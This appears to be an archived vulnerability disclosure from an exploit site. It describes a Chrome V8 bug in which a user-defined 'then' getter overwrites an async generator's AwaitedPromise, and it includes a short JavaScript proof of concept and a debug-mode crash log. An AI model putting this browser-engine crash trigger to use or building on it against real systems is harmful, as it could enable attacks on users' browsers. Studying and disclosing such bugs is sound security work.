Chrome V8 JIT - AwaitedPromise Update Bug Exploit

/*
Here's a snippet of AsyncGeneratorReturn. (https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650)
 
  Node* const context = Parameter(Descriptor::kContext);
  Node* const outer_promise = LoadPromiseFromAsyncGeneratorRequest(req);
  Node* const promise =
      Await(context, generator, value, outer_promise, AwaitContext::kLength,
            init_closure_context, var_on_resolve.value(), var_on_reject.value(),
            is_caught);
 
  CSA_SLOW_ASSERT(this, IsGeneratorNotSuspendedForAwait(generator));
  StoreObjectField(generator, JSAsyncGeneratorObject::kAwaitedPromiseOffset,
                   promise);
 
The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.
 
PoC:
*/
 
async function* asyncGenerator() {
}
 
let gen = asyncGenerator();
gen.return({
    get then() {
        delete this.then;
 
        gen.next();
    }
});
 
/*
Log in debug mode:
abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/builtins-async-generator-gen.cc:328]
 
 
==== JS stack trace =========================================
 
Security context: 0x2b29083a3a71 <JSObject>#0#
    2: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#)
 
==== Details ================================================
 
[2]: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) {
// optimized frame
--------- s o u r c e   c o d e ---------
<No Source>
-----------------------------------------
}
==== Key         ============================================
 
 #0# 0x2b29083a3a71: 0x2b29083a3a71 <JSObject>
 #1# 0x19b7b0603721: 0x19b7b0603721 <JSGlobal Object>
 #2# 0x19b7b060d139: 0x19b7b060d139 <Object map = 0x189055388c91>
=====================
 
Received signal 4 ILL_ILLOPN 7fb143ae2781
 
==== C stack trace ===============================
 
 [0x7fb143ae643e]
 [0x7fb143ae6395]
 [0x7fb1436ce390]
 [0x7fb143ae2781]
 [0x7fb1430f23ae]
 [0x7fb1430f1ef7]
 [0x1c8e08204384]
[end of stack trace]
Illegal instruction
*/

#  0day.today [2018-04-26]  #